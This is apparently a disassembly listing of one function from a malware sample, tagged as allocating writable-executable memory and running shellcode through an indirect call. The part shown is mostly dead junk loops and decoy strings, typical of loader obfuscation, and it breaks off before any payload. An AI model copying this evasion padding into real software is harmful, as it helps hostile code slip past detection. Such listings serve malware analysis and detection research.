Function at 0x402100
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c4
push ebx
push esi
push edi
mov eax, 0x6a54
mov word [ebp - 0xd0], ax
mov dword [ebp - 0x38], 0x40d274
mov ecx, 0x33bb
mov word [ebp - 0x48], cx
mov dword [ebp - 0xc4], str.AfbGFLdvxDOgwZZyNPdFfMDf
mov byte [ebp - 0x79], 0x4a
mov dword [ebp - 0x90], str.CZdVMimEdIpPutfOFaPrqswlJzPOmrJN
mov edx, 0x58ea
mov word [ebp - 0x100], dx
mov dword [ebp - 0x80], str.cnTMqcvhfSNljNhEdzWhzgUpcKLWJyNE
mov eax, 0x7ef
mov word [ebp - 0xc0], ax
mov dword [ebp - 0x8c], 0x40d2dc
mov byte [ebp - 0xe1], 0x77
mov dword [ebp - 0x2c], str.bHegWMuhREczWQaG
mov byte [ebp - 0xd9], 0x23
mov dword [ebp - 0xcc], str.nlahJYlawUZifyTpOnwPnuMFXFeZcSSNWY
mov ecx, 0x3f04
mov word [ebp - 0xfc], cx
mov dword [ebp - 0x110], str.rzGbYCGvdsteKwKoWZibohASEowdBuIR
mov dword [ebp - 0x44], 0x5d4b
mov dword [ebp - 0xf8], str.nKQQuvhv
mov edx, 0x270b
mov word [ebp - 0xa4], dx
mov dword [ebp - 0x10c], str.baOBmSbVnBgpbbAWLpAXu
mov dword [ebp - 0xbc], 0x6d46
mov dword [ebp - 0xb8], str.glMXsWULSSZekKom
mov eax, 0x793c
mov word [ebp - 8], ax
mov dword [ebp - 0xf4], str.sBkAYkXy
mov byte [ebp - 0x105], 5
mov dword [ebp - 0xa0], str.qIbUyAZXsusycKWHeDdO
mov byte [ebp - 0x51], 0x6b
mov dword [ebp - 0xe0], str.ANSzSIdjsIvEYtYQExFQNDHMClwS
mov ecx, 0xb1
mov word [ebp - 0x9c], cx
mov dword [ebp - 0xc8], 0x40d13f
mov dword [ebp - 0x50], 0x2fbf
mov dword [ebp - 0x88], str.VkDIOC
mov byte [ebp - 0xb1], 0x1a
mov dword [ebp - 0xd8], 0x40d3c0
mov dword [ebp - 0x78], 0x7b7d
mov dword [ebp - 0xb0], str.mikDbvryHgaggcECBoQpIyrMGwS
mov edx, 0x3f8f
mov word [ebp - 0xf0], dx
mov dword [ebp - 0x98], str.SoDGaD
mov eax, 0x2a31
mov word [ebp - 0x118], ax
mov dword [ebp - 4], str.qrJuaZBbXMAAzUOojFZzWPvRSfFGwwzxmg
mov dword [ebp - 0x84], 0x7e4f
mov dword [ebp - 0x104], str.lZJdclMwuFHVaLoiODQYKQjhzA
mov ecx, 0x5f71
mov word [ebp - 0x40], cx
mov dword [ebp - 0x74], str.rhvEuYhOuwbeHSuieNwRszQiIqVTVIPAp
mov edx, 0x3b45
mov word [ebp - 0xd4], dx
mov dword [ebp - 0x70], str.nyYy
mov eax, 0x5b08
mov word [ebp - 0xec], ax
mov dword [ebp - 0x6c], str.aDhEpvHuImPBfbSKI
mov dword [ebp - 0xac], 0x116f
mov dword [ebp - 0x4c], str.UlWLHauxBLcDvdK
mov byte [ebp - 0x111], 0
movzx ecx, byte [ebp - 0x111]
cmp ecx, 1
jne 0x40234a
mov dword [ebp - 0x120], 0
mov dword [ebp - 0x11c], 0
jmp 0x40231f
mov edx, dword [ebp - 0x120]
add edx, 1
mov eax, dword [ebp - 0x11c]
adc eax, 0
mov dword [ebp - 0x120], edx
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 0
ja 0x40234a
jb 0x402336
cmp dword [ebp - 0x120], 0x6db9
jae 0x40234a
mov cx, word [ebp - 0xd0]
add cx, 1
mov word [ebp - 0xd0], cx
jmp 0x402301
movzx edx, byte [ebp - 0x111]
cmp edx, 1
jne 0x40239c
mov dword [ebp - 0x124], 0
jmp 0x402371
mov eax, dword [ebp - 0x124]
add eax, 1
mov dword [ebp - 0x124], eax
mov ecx, dword [ebp - 0x38]
push ecx
call section..text
add esp, 4
cmp dword [ebp - 0x124], eax
jge 0x40239c
mov edx, dword [ebp - 0x38]
add edx, 1
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x38]
movsx ecx, byte [eax]
test ecx, ecx
jne 0x40239a
jmp 0x40239c
jmp 0x402362
movzx edx, byte [ebp - 0x111]
cmp edx, 1
jne 0x402401
mov dword [ebp - 0x130], 0
mov dword [ebp - 0x12c], 0
jmp 0x4023dc
mov eax, dword [ebp - 0x130]
add eax, 1
mov ecx, dword [ebp - 0x12c]
adc ecx, 0
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x12c], ecx
cmp dword [ebp - 0x12c], 0
ja 0x402401
jb 0x4023f3
cmp dword [ebp - 0x130], 0x5eca
jae 0x402401
mov dx, word [ebp - 0x48]
add dx, 1
mov word [ebp - 0x48], dx
jmp 0x4023be
movzx eax, byte [ebp - 0x111]
cmp eax, 1
jne 0x40245f
mov dword [ebp - 0x134], 0
jmp 0x402428
mov ecx, dword [ebp - 0x134]
add ecx, 1
mov dword [ebp - 0x134], ecx
mov edx, dword [ebp - 0xc4]
push edx
call section..text
add esp, 4
cmp dword [ebp - 0x134], eax
jge 0x40245f
mov eax, dword [ebp - 0xc4]
add eax, 1
mov dword [ebp - 0xc4], eax
mov ecx, dword [ebp - 0xc4]
movsx edx, byte [ecx]
test edx, edx
jne 0x40245d
jmp 0x40245f
jmp 0x402419
movzx eax, byte [ebp - 0x111]
cmp eax, 1
jne 0x4024c0
mov dword [ebp - 0x140], 0
mov dword [ebp - 0x13c], 0
jmp 0x40249f
mov ecx, dword [ebp - 0x140]
add ecx, 1
mov edx, dword [ebp - 0x13c]
adc edx, 0
mov dword [ebp - 0x140], ecx
mov dword [ebp - 0x13c], edx
cmp dword [ebp - 0x13c], 0xffffffff
ja 0x4024c0
jb 0x4024b6
cmp dword [ebp - 0x140], 0xffffddc0
jae 0x4024c0
mov al, byte [ebp - 0x79]
add al, 1
mov byte [ebp - 0x79], al
jmp 0x402481
movzx ecx, byte [ebp - 0x111]
cmp ecx, 1
jne 0x40251e
mov dword [ebp - 0x144], 0
jmp 0x4024e7
mov edx, dword [ebp - 0x144]
add edx, 1
mov dword [ebp - 0x144], edx
mov eax, dword [ebp - 0x90]
push eax
call section..text
add esp, 4
cmp dword [ebp - 0x144], eax
jge 0x40251e
mov ecx, dword [ebp - 0x90]
add ecx, 1
mov dword [ebp - 0x90], ecx
mov edx, dword [ebp - 0x90]
movsx eax, byte [edx]
test eax, eax
jne 0x40251c
jmp 0x40251e
jmp 0x4024d8
movzx ecx, byte [ebp - 0x111]
cmp ecx, 1
jne 0x402589
mov dword [ebp - 0x150], 0
mov dword [ebp - 0x14c], 0
jmp 0x40255e
mov edx, dword [ebp - 0x150]
add edx, 1
mov eax, dword [ebp - 0x14c]
adc eax, 0
mov dword [ebp - 0x150], edx
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 0
ja 0x402589
jb 0x402575
cmp dword [ebp - 0x150], 0x6312
jae 0x402589
mov cx, word [ebp - 0x100]
add cx, 1
mov word [ebp - 0x100], cx
jmp 0x402540
movzx edx, byte [ebp - 0x111]
cmp edx, 1
jne 0x4025db
mov dword [ebp - 0x154], 0
jmp 0x4025b0
mov eax, dword [ebp - 0x154]
add eax, 1
mov dword [ebp - 0x154], eax
mov ecx, dword [ebp - 0x80]
push ecx
call section..text
add esp, 4
cmp dword [ebp - 0x154], eax
jge 0x4025db
mov edx, dword [ebp - 0x80]
add edx, 1
mov dword [ebp - 0x80], edx
mov eax, dword [ebp - 0x80]
movsx ecx, byte [eax]
test ecx, ecx
jne 0x4025d9
jmp 0x4025db
jmp 0x4025a1
movzx edx, byte [ebp - 0x111]
cmp edx, 1
jne 0x402646
mov dword [ebp - 0x160], 0
mov dword [ebp - 0x15c], 0
jmp 0x40261b
mov eax, dword [ebp - 0x160]
add eax, 1
mov ecx, dword [ebp - 0x15c]
adc ecx, 0
mov dword [ebp - 0x160], eax
mov dword [ebp - 0x15c], ecx
cmp dword [ebp - 0x15c], 0
ja 0x402646
jb 0x402632
cmp dword [ebp - 0x160], 0x7b4d
jae 0x402646
mov dx, word [ebp - 0xc0]
add dx, 1
mov word [ebp - 0xc0], dx
jmp 0x4025fd
movzx eax, byte [ebp - 0x111]
cmp eax, 1
jne 0x4026a4
mov dword [ebp - 0x164], 0
jmp 0x40266d
mov ecx, dword [ebp - 0x164]
add ecx, 1
mov dword [ebp - 0x164], ecx
mov edx, dword [ebp - 0x8c]
push edx
call section..text
add esp, 4
cmp dword [ebp - 0x164], eax
jge 0x4026a4
mov eax, dword [ebp - 0x8c]
add eax, 1
mov dword [ebp - 0x8c], eax
mov ecx, dword [ebp - 0x8c]
movsx edx, byte [ecx]
test edx, edx
jne 0x4026a2
jmp 0x4026a4
jmp 0x40265e
movzx eax, byte [ebp - 0x111]
cmp eax, 1
jne 0x40270b
mov dword [ebp - 0x170], 0
mov dword [ebp - 0x16c], 0
jmp 0x4026e4
mov ecx, dword [ebp - 0x170]
add ecx, 1
mov edx, dword [ebp - 0x16c]
adc edx, 0
mov dword [ebp - 0x170], ecx
mov dword [ebp - 0x16c], edx
cmp dword [ebp - 0x16c], 0xffffffff
ja 0x40270b
jb 0x4026fb
cmp dword [ebp - 0x170], 0xffffe77b
jae 0x40270b
mov al, byte [ebp - 0xe1]
add al, 1
mov byte [ebp - 0xe1], al
jmp 0x4026c6
movzx ecx, byte [ebp - 0x111]
cmp ecx, 1
jne 0x40275d
mov dword [ebp - 0x174], 0
jmp 0x402732
mov edx, dword [ebp - 0x174]
add edx, 1
mov dword [ebp - 0x174], edx
mov eax, dword [ebp - 0x2c]
push eax
call section..text
add esp, 4
cmp dword [ebp - 0x174], eax
jge 0x40275d
mov ecx, dword [ebp - 0x2c]
add ecx, 1
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0x2c]
movsx eax, byte [edx]
test eax, eax
jne 0x40275b
jmp 0x40275d
jmp 0x402723
movzx ecx, byte [ebp - 0x111]
cmp ecx, 1
jne 0x4027c5
mov dword [ebp - 0x180], 0
mov dword [ebp - 0x17c], 0
jmp 0x40279d
mov edx, dword [ebp - 0x180]
add edx, 1
mov eax, dword [ebp - 0x17c]
adc eax, 0
mov dword [ebp - 0x180], edx
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x17c], 0xffffffff
ja 0x4027c5
jb 0x4027b4
cmp dword [ebp - 0x180], 0xfffff226
jae 0x4027c5
mov cl, byte [ebp - 0xd9]
add cl, 1
mov byte [ebp - 0xd9], cl
jmp 0x40277f
movzx edx, byte [ebp - 0x111]
cmp edx, 1
jne 0x402823
mov dword [ebp - 0x184], 0
jmp 0x4027ec
mov eax, dword [ebp - 0x184]
add eax, 1
mov dword [ebp - 0x184], eax
mov ecx, dword [ebp - 0xcc]
push ecx
call section..text
add esp, 4
cmp dword [ebp - 0x184], eax
jge 0x402823
mov edx, dword [ebp - 0xcc]
add edx, 1
mov dword [ebp - 0xcc], edx
mov eax, dword [ebp - 0xcc]
movsx ecx, byte [eax]
test ecx, ecx
jne 0x402821
jmp 0x402823
jmp 0x4027dd
movzx edx, byte [ebp - 0x111]
cmp edx, 1
jne 0x40288e
mov dword [ebp - 0x190], 0
mov dword [ebp - 0x18c], 0
jmp 0x402863
mov eax, dword [ebp - 0x190]
add eax, 1
mov ecx, dword [ebp - 0x18c]
adc ecx, 0
mov dword [ebp - 0x190], eax
mov dword [ebp - 0x18c], ecx
cmp dword [ebp - 0x18c], 0
ja 0x40288e
jb 0x40287a
cmp dword [ebp - 0x190], 0x5fb4
jae 0x40288e
mov dx, word [ebp - 0xfc]
add dx, 1
mov word [ebp - 0xfc], dx
jmp 0x402845
movzx eax, byte [ebp - 0x111]
cmp eax, 1
jne 0x4028ec
mov dword [ebp - 0x194], 0
jmp 0x4028b5
mov ecx, dword [ebp - 0x194]
add ecx, 1
mov dword [ebp - 0x194], ecx
mov edx, dword [ebp - 0x110]
push edx
call section..text
add esp, 4
cmp dword [ebp - 0x194], eax
jge 0x4028ec
mov eax, dword [ebp - 0x110]
add eax, 1
mov dword [ebp - 0x110], eax
mov ecx, dword [ebp - 0x110]
movsx edx, byte [ecx]
test edx, edx
jne 0x4028ea
jmp 0x4028ec
jmp 0x4028a6
movzx eax, byte [ebp - 0x111]
cmp eax, 1
jne 0x40294e
mov dword [ebp - 0x1a0], 0
mov dword [ebp - 0x19c], 0
jmp 0x40292c
mov ecx, dword [ebp - 0x1a0]
add ecx, 1
mov edx, dword [ebp - 0x19c]
adc edx, 0
mov dword [ebp - 0x1a0], ecx
mov dword [ebp - 0x19c], edx
cmp dword [ebp - 0x19c], 0
ja 0x40294e
jb 0x402943
cmp dword [ebp - 0x1a0], 0x7fffee98
jae 0x40294e
mov eax, dword [ebp - 0x44]
add eax, 1
mov dword [ebp - 0x44], eax
jmp 0x40290e
movzx ecx, byte [ebp - 0x111]
cmp ecx, 1
jne 0x4029ac
mov dword [ebp - 0x1a4], 0
jmp 0x402975
mov edx, dword [ebp - 0x1a4]
add edx, 1
mov dword [ebp - 0x1a4], edx
mov eax, dword [ebp - 0xf8]
push eax
call section..text
add esp, 4
cmp dword [ebp - 0x1a4], eax
jge 0x4029ac
mov ecx, dword [ebp - 0xf8]
add ecx, 1
mov dword [ebp - 0xf8], ecx
mov edx, dword [ebp - 0xf8]
movsx eax, byte [edx]
test eax, eax
jne 0x4029aa
jmp 0x4029ac
jmp 0x402966
movzx ecx, byte [ebp - 0x111]
cmp ecx, 1
jne 0x402a17
mov dword [ebp - 0x1b0], 0
mov dword [ebp - 0x1ac], 0
jmp 0x4029ec
mov edx, dword [ebp - 0x1b0]
add edx, 1
mov eax, dword [ebp - 0x1ac]
adc eax, 0
mov dword [ebp - 0x1b0], edx
mov dword [ebp - 0x1ac], eax
cmp dword [ebp - 0x1ac], 0
ja 0x402a17
jb 0x402a03
cmp dword [ebp - 0x1b0], 0x7bff
jae 0x402a17
mov cx, word [ebp - 0xa4]
add cx, 1
mov word [ebp - 0xa4], cx
jmp 0x4029ce
movzx edx, byte [ebp - 0x111]
cmp edx, 1
jne 0x402a75
mov dword [ebp - 0x1b4], 0
jmp 0x402a3e
mov eax, dword [ebp - 0x1b4]
add eax, 1
mov dword [ebp - 0x1b4], eax
mov ecx, dword [ebp - 0x10c]
push ecx
call section..text
add esp, 4
cmp dword [ebp - 0x1b4], eax
jge 0x402a75
mov edx, dword [ebp - 0x10c]
add edx, 1
mov dword [ebp - 0x10c], edx
mov eax, dword [ebp - 0x10c]
movsx ecx, byte [eax]
test ecx, ecx
jne 0x402a73
jmp 0x402a75
jmp 0x402a2f
movzx edx, byte [ebp - 0x111]
cmp edx, 1
jne 0x402add
mov dword [ebp - 0x1c0], 0
mov dword [ebp - 0x1bc], 0
jmp 0x402ab5
mov eax, dword [ebp - 0x1c0]
add eax, 1
mov ecx, dword [ebp - 0x1bc]
adc ecx, 0
mov dword [ebp - 0x1c0], eax
mov dword [ebp - 0x1bc], ecx
cmp dword [ebp - 0x1bc], 0
ja 0x402add
jb 0x402acc
cmp dword [ebp - 0x1c0], 0x7fffdfc0
jae 0x402add
mov edx, dword [ebp - 0xbc]
add edx, 1
mov dword [ebp - 0xbc], edx
jmp 0x402a97
movzx eax, byte [ebp - 0x111]
cmp eax, 1
jne 0x402b3b
mov dword [ebp - 0x1c4], 0
jmp 0x402b04
mov ecx, dword [ebp - 0x1c4]
add ecx, 1
mov dword [ebp - 0x1c4], ecx
mov edx, dword [ebp - 0xb8]
push edx
call section..text
add esp, 4
cmp dword [ebp - 0x1c4], eax
jge 0x402b3b
mov eax, dword [ebp - 0xb8]
add eax, 1
mov dword [ebp - 0xb8], eax
mov ecx, dword [ebp - 0xb8]
movsx edx, byte [ecx]
test edx, edx
jne 0x402b39
jmp 0x402b3b
jmp 0x402af5
movzx eax, byte [ebp - 0x111]
cmp eax, 1
jne 0x402ba0
mov dword [ebp - 0x1d0], 0
mov dword [ebp - 0x1cc], 0
jmp 0x402b7b
mov ecx, dword [ebp - 0x1d0]
add ecx, 1
mov edx, dword [ebp - 0x1cc]
adc edx, 0
mov dword [ebp - 0x1d0], ecx
mov dword [ebp - 0x1cc], edx
cmp dword [ebp - 0x1cc], 0
ja 0x402ba0
jb 0x402b92
cmp dword [ebp - 0x1d0], 0x5f6e
jae 0x402ba0
mov ax, word [ebp - 8]
add ax, 1
mov word [ebp - 8], ax
jmp 0x402b5d
movzx ecx, byte [ebp - 0x111]
cmp ecx, 1
jne 0x402bfe
mov dword [ebp - 0x1d4], 0
jmp 0x402bc7
mov edx, dword [ebp - 0x1d4]
add edx, 1
mov dword [ebp - 0x1d4], edx
mov eax, dword [ebp - 0xf4]
push eax
call section..text
add esp, 4
cmp dword [ebp - 0x1d4], eax
jge 0x402bfe
mov ecx, dword [ebp - 0xf4]
add ecx, 1
mov dword [ebp - 0xf4], ecx
mov edx, dword [ebp - 0xf4]
movsx eax, byte [edx]
test eax, eax
jne 0x402bfc
jmp 0x402bfe
jmp 0x402bb8
movzx ecx, byte [ebp - 0x111]
cmp ecx, 1
jne 0x402c66
mov dword [ebp - 0x1e0], 0
mov dword [ebp - 0x1dc], 0
jmp 0x402c3e
mov edx, dword [ebp - 0x1e0]
add edx, 1
mov eax, dword [ebp - 0x1dc]
adc eax, 0
mov dword [ebp - 0x1e0], edx
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 0xffffffff
ja 0x402c66
jb 0x402c55
cmp dword [ebp - 0x1e0], 0xffffe316
jae 0x402c66
mov cl, byte [ebp - 0x105]
add cl, 1
mov byte [ebp - 0x105], cl
jmp 0x402c20
movzx edx, byte [ebp - 0x111]
cmp edx, 1
jne 0x402cc4
mov dword [ebp - 0x1e4], 0
jmp 0x402c8d
mov eax, dword [ebp - 0x1e4]
add eax, 1
mov dword [ebp - 0x1e4], eax
mov ecx, dword [ebp - 0xa0]
push ecx
call section..text
add esp, 4
cmp dword [ebp - 0x1e4], eax
jge 0x402cc4
mov edx, dword [ebp - 0xa0]
add edx, 1
mov dword [ebp - 0xa0], edx
mov eax, dword [ebp - 0xa0]
movsx ecx, byte [eax]
test ecx, ecx
jne 0x402cc2
jmp 0x402cc4
jmp 0x402c7e
movzx edx, byte [ebp - 0x111]
cmp edx, 1
jne 0x402d26
mov dword [ebp - 0x1f0], 0
mov dword [ebp - 0x1ec], 0
jmp 0x402d04
mov eax, dword [ebp - 0x1f0]
add eax, 1
mov ecx, dword [ebp - 0x1ec]
adc ecx, 0
mov dword [ebp - 0x1f0], eax
mov dword [ebp - 0x1ec], ecx
cmp dword [ebp - 0x1ec], 0xffffffff
ja 0x402d26
jb 0x402d1b
cmp dword [ebp - 0x1f0], 0xffffed19
jae 0x402d26
mov dl, byte [ebp - 0x51]
add dl, 1
mov byte [ebp - 0x51], dl
jmp 0x402ce6
movzx eax, byte [ebp - 0x111]
cmp eax, 1
jne 0x402d84
mov dword [ebp - 0x1f4], 0
jmp 0x402d4d
mov ecx, dword [ebp - 0x1f4]
add ecx, 1
mov dword [ebp - 0x1f4], ecx
mov edx, dword [ebp - 0xe0]
push edx
call section..text
add esp, 4
cmp dword [ebp - 0x1f4], eax
jge 0x402d84
mov eax, dword [ebp - 0xe0]
add eax, 1
mov dword [ebp - 0xe0], eax
mov ecx, dword [ebp - 0xe0]
movsx edx, byte [ecx]
test edx, edx
jne 0x402d82
jmp 0x402d84
jmp 0x402d3e
movzx eax, byte [ebp - 0x111]
cmp eax, 1
jne 0x402def
mov dword [ebp - 0x200], 0
mov dword [ebp - 0x1fc], 0
jmp 0x402dc4
mov ecx, dword [ebp - 0x200]
add ecx, 1
mov edx, dword [ebp - 0x1fc]
adc edx, 0
mov dword [ebp - 0x200], ecx
mov dword [ebp - 0x1fc], edx
cmp dword [ebp - 0x1fc], 0
ja 0x402def
jb 0x402ddb
cmp dword [ebp - 0x200], 0x7529
jae 0x402def
mov ax, word [ebp - 0x9c]
add ax, 1
mov word [ebp - 0x9c], ax
jmp 0x402da6
movzx ecx, byte [ebp - 0x111]
cmp ecx, 1
jne 0x402e4d
mov dword [ebp - 0x204], 0
jmp 0x402e16
mov edx, dword [ebp - 0x204]
add edx, 1
mov dword [ebp - 0x204], edx
mov eax, dword [ebp - 0xc8]
push eax
call section..text
add esp, 4
cmp dword [ebp - 0x204], eax
jge 0x402e4d
mov ecx, dword [ebp - 0xc8]
add ecx, 1
mov dword [ebp - 0xc8], ecx
mov edx, dword [ebp - 0xc8]
movsx eax, byte [edx]
test eax, eax
jne 0x402e4b
jmp 0x402e4d
jmp 0x402e07
movzx ecx, byte [ebp - 0x111]
cmp ecx, 1
jne 0x402eaf
mov dword [ebp - 0x210], 0
mov dword [ebp - 0x20c], 0
jmp 0x402e8d
mov edx, dword [ebp - 0x210]
add edx, 1
mov eax, dword [ebp - 0x20c]
adc eax, 0
mov dword [ebp - 0x210], edx
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 0
ja 0x402eaf
jb 0x402ea4
cmp dword [ebp - 0x210], 0x7ffff7ed
jae 0x402eaf
mov ecx, dword [ebp - 0x50]
add ecx, 1
mov dword [ebp - 0x50], ecx
jmp 0x402e6f
movzx edx, byte [ebp - 0x111]
cmp edx, 1
jne 0x402f0d
mov dword [ebp - 0x214], 0
jmp 0x402ed6
mov eax, dword [ebp - 0x214]
add eax, 1
mov dword [ebp - 0x214], eax
mov ecx, dword [ebp - 0x88]
push ecx
call section..text
add esp, 4
cmp dword [ebp - 0x214], eax
jge 0x402f0d
mov edx, dword [ebp - 0x88]
add edx, 1
mov dword [ebp - 0x88], edx
mov eax, dword [ebp - 0x88]
movsx ecx, byte [eax]
test ecx, ecx
jne 0x402f0b
jmp 0x402f0d
jmp 0x402ec7
movzx edx, byte [ebp - 0x111]
cmp edx, 1
jne 0x402f75
mov dword [ebp - 0x220], 0
mov dword [ebp - 0x21c], 0
jmp 0x402f4d
mov eax, dword [ebp - 0x220]
add eax, 1
mov ecx, dword [ebp - 0x21c]
adc ecx, 0
mov dword [ebp - 0x220], eax
mov dword [ebp - 0x21c], ecx
cmp dword [ebp - 0x21c], 0xffffffff
ja 0x402f75
jb 0x402f64
cmp dword [ebp - 0x220], 0xffffe448
jae 0x402f75
mov dl, byte [ebp - 0xb1]
add dl, 1
mov byte [ebp - 0xb1], dl
jmp 0x402f2f
movzx eax, byte [ebp - 0x111]
cmp eax, 1
jne 0x402fd3
mov dword [ebp - 0x224], 0
jmp 0x402f9c
mov ecx, dword [ebp - 0x224]
add ecx, 1
mov dword [ebp - 0x224], ecx
mov edx, dword [ebp - 0xd8]
push edx
call section..text
add esp, 4
cmp dword [ebp - 0x224], eax
jge 0x402fd3
mov eax, dword [ebp - 0xd8]
add eax, 1
mov dword [ebp - 0xd8], eax
mov ecx, dword [ebp - 0xd8]
movsx edx, byte [ecx]
test edx, edx
jne 0x402fd1
jmp 0x402fd3
jmp 0x402f8d
movzx eax, byte [ebp - 0x111]
cmp eax, 1
jne 0x403035
mov dword [ebp - 0x230], 0
mov dword [ebp - 0x22c], 0
jmp 0x403013
mov ecx, dword [ebp - 0x230]
add ecx, 1
mov edx, dword [ebp - 0x22c]
adc edx, 0
mov dword [ebp - 0x230], ecx
mov dword [ebp - 0x22c], edx
cmp dword [ebp - 0x22c], 0
ja 0x403035
jb 0x40302a
cmp dword [ebp - 0x230], 0x7fffe660
jae 0x403035
mov eax, dword [ebp - 0x78]
add eax, 1
mov dword [ebp - 0x78], eax
jmp 0x402ff5
movzx ecx, byte [ebp - 0x111]
cmp ecx, 1
jne 0x403093
mov dword [ebp - 0x234], 0
jmp 0x40305c
mov edx, dword [ebp - 0x234]
add edx, 1
mov dword [ebp - 0x234], edx
mov eax, dword [ebp - 0xb0]
push eax
call section..text
add esp, 4
cmp dword [ebp - 0x234], eax
jge 0x403093
mov ecx, dword [ebp - 0xb0]
add ecx, 1
mov dword [ebp - 0xb0], ecx
mov edx, dword [ebp - 0xb0]
movsx eax, byte [edx]
test eax, eax
jne 0x403091
jmp 0x403093
jmp 0x40304d
movzx ecx, byte [ebp - 0x111]
cmp ecx, 1
jne 0x4030fe
mov dword [ebp - 0x240], 0
mov dword [ebp - 0x23c], 0
jmp 0x4030d3
mov edx, dword [ebp - 0x240]
add edx, 1
mov eax, dword [ebp - 0x23c]
adc eax, 0
mov dword [ebp - 0x240], edx
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 0
ja 0x4030fe
jb 0x4030ea
cmp dword [ebp - 0x240], 0x7a8b
jae 0x4030fe
mov cx, word [ebp - 0xf0]
add cx, 1
mov word [ebp - 0xf0], cx
jmp 0x4030b5
movzx edx, byte [ebp - 0x111]
cmp edx, 1
jne 0x40315c
mov dword [ebp - 0x244], 0
jmp 0x403125
mov eax, dword [ebp - 0x244]
add eax, 1
mov dword [ebp - 0x244], eax
mov ecx, dword [ebp - 0x98]
push ecx
call section..text
add esp, 4
cmp dword [ebp - 0x244], eax
jge 0x40315c
mov edx, dword [ebp - 0x98]
add edx, 1
mov dword [ebp - 0x98], edx
mov eax, dword [ebp - 0x98]
movsx ecx, byte [eax]
test ecx, ecx
jne 0x40315a
jmp 0x40315c
jmp 0x403116
movzx edx, byte [ebp - 0x111]
cmp edx, 1
jne 0x4031c7
mov dword [ebp - 0x250], 0
mov dword [ebp - 0x24c], 0
jmp 0x40319c
mov eax, dword [ebp - 0x250]
add eax, 1
mov ecx, dword [ebp - 0x24c]
adc ecx, 0
mov dword [ebp - 0x250], eax
mov dword [ebp - 0x24c], ecx
cmp dword [ebp - 0x24c], 0
ja 0x4031c7
jb 0x4031b3
cmp dword [ebp - 0x250], 0x60a5
jae 0x4031c7
mov dx, word [ebp - 0x118]
add dx, 1
mov word [ebp - 0x118], dx
jmp 0x40317e
movzx eax, byte [ebp - 0x111]
cmp eax, 1
jne 0x403219
mov dword [ebp - 0x254], 0
jmp 0x4031ee
mov ecx, dword [ebp - 0x254]
add ecx, 1
mov dword [ebp - 0x254], ecx
mov edx, dword [ebp - 4]
push edx
call section..text
add esp, 4
cmp dword [ebp - 0x254], eax
jge 0x403219
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
movsx edx, byte [ecx]
test edx, edx
jne 0x403217
jmp 0x403219
jmp 0x4031df
movzx eax, byte [ebp - 0x111]
cmp eax, 1
jne 0x403281
mov dword [ebp - 0x260], 0
mov dword [ebp - 0x25c], 0
jmp 0x403259
mov ecx, dword [ebp - 0x260]
add ecx, 1
mov edx, dword [ebp - 0x25c]
adc edx, 0
mov dword [ebp - 0x260], ecx
mov dword [ebp - 0x25c], edx
cmp dword [ebp - 0x25c], 0
ja 0x403281
jb 0x403270
cmp dword [ebp - 0x260], 0x7fffdd77
jae 0x403281
mov eax, dword [ebp - 0x84]
add eax, 1
mov dword [ebp - 0x84], eax
jmp 0x40323b
movzx ecx, byte [ebp - 0x111]
cmp ecx, 1
jne 0x4032df
mov dword [ebp - 0x264], 0
jmp 0x4032a8
mov edx, dword [ebp - 0x264]
add edx, 1
mov dword [ebp - 0x264], edx
mov eax, dword [ebp - 0x104]
push eax
call section..text
add esp, 4
cmp dword [ebp - 0x264], eax
jge 0x4032df
mov ecx, dword [ebp - 0x104]
add ecx, 1
mov dword [ebp - 0x104], ecx
mov edx, dword [ebp - 0x104]
movsx eax, byte [edx]
test eax, eax
jne 0x4032dd
jmp 0x4032df
jmp 0x403299
movzx ecx, byte [ebp - 0x111]
cmp ecx, 1
jne 0x403344
mov dword [ebp - 0x270], 0
mov dword [ebp - 0x26c], 0
jmp 0x40331f
mov edx, dword [ebp - 0x270]
add edx, 1
mov eax, dword [ebp - 0x26c]
adc eax, 0
mov dword [ebp - 0x270], edx
mov dword [ebp - 0x26c], eax
cmp dword [ebp - 0x26c], 0
ja 0x403344
jb 0x403336
cmp dword [ebp - 0x270], 0x7d9d
jae 0x403344
mov cx, word [ebp - 0x40]
add cx, 1
mov word [ebp - 0x40], cx
jmp 0x403301
movzx edx, byte [ebp - 0x111]
cmp edx, 1
jne 0x403396
mov dword [ebp - 0x274], 0
jmp 0x40336b
mov eax, dword [ebp - 0x274]
add eax, 1
mov dword [ebp - 0x274], eax
mov ecx, dword [ebp - 0x74]
push ecx
call section..text
add esp, 4
cmp dword [ebp - 0x274], eax
jge 0x403396
mov edx, dword [ebp - 0x74]
add edx, 1
mov dword [ebp - 0x74], edx
mov eax, dword [ebp - 0x74]
movsx ecx, byte [eax]
test ecx, ecx
jne 0x403394
jmp 0x403396
jmp 0x40335c
movzx edx, byte [ebp - 0x111]
cmp edx, 1
jne 0x403401
mov dword [ebp - 0x280], 0
mov dword [ebp - 0x27c], 0
jmp 0x4033d6
mov eax, dword [ebp - 0x280]
add eax, 1
mov ecx, dword [ebp - 0x27c]
adc ecx, 0
mov dword [ebp - 0x280], eax
mov dword [ebp - 0x27c], ecx
cmp dword [ebp - 0x27c], 0
ja 0x403401
jb 0x4033ed
cmp dword [ebp - 0x280], 0x6e3a
jae 0x403401
mov dx, word [ebp - 0xd4]
add dx, 1
mov word [ebp - 0xd4], dx
jmp 0x4033b8
movzx eax, byte [ebp - 0x111]
cmp eax, 1
jne 0x403453
mov dword [ebp - 0x284], 0
jmp 0x403428
mov ecx, dword [ebp - 0x284]
add ecx, 1
mov dword [ebp - 0x284], ecx
mov edx, dword [ebp - 0x70]
push edx
call section..text
add esp, 4
cmp dword [ebp - 0x284], eax
jge 0x403453
mov eax, dword [ebp - 0x70]
add eax, 1
mov dword [ebp - 0x70], eax
mov ecx, dword [ebp - 0x70]
movsx edx, byte [ecx]
test edx, edx
jne 0x403451
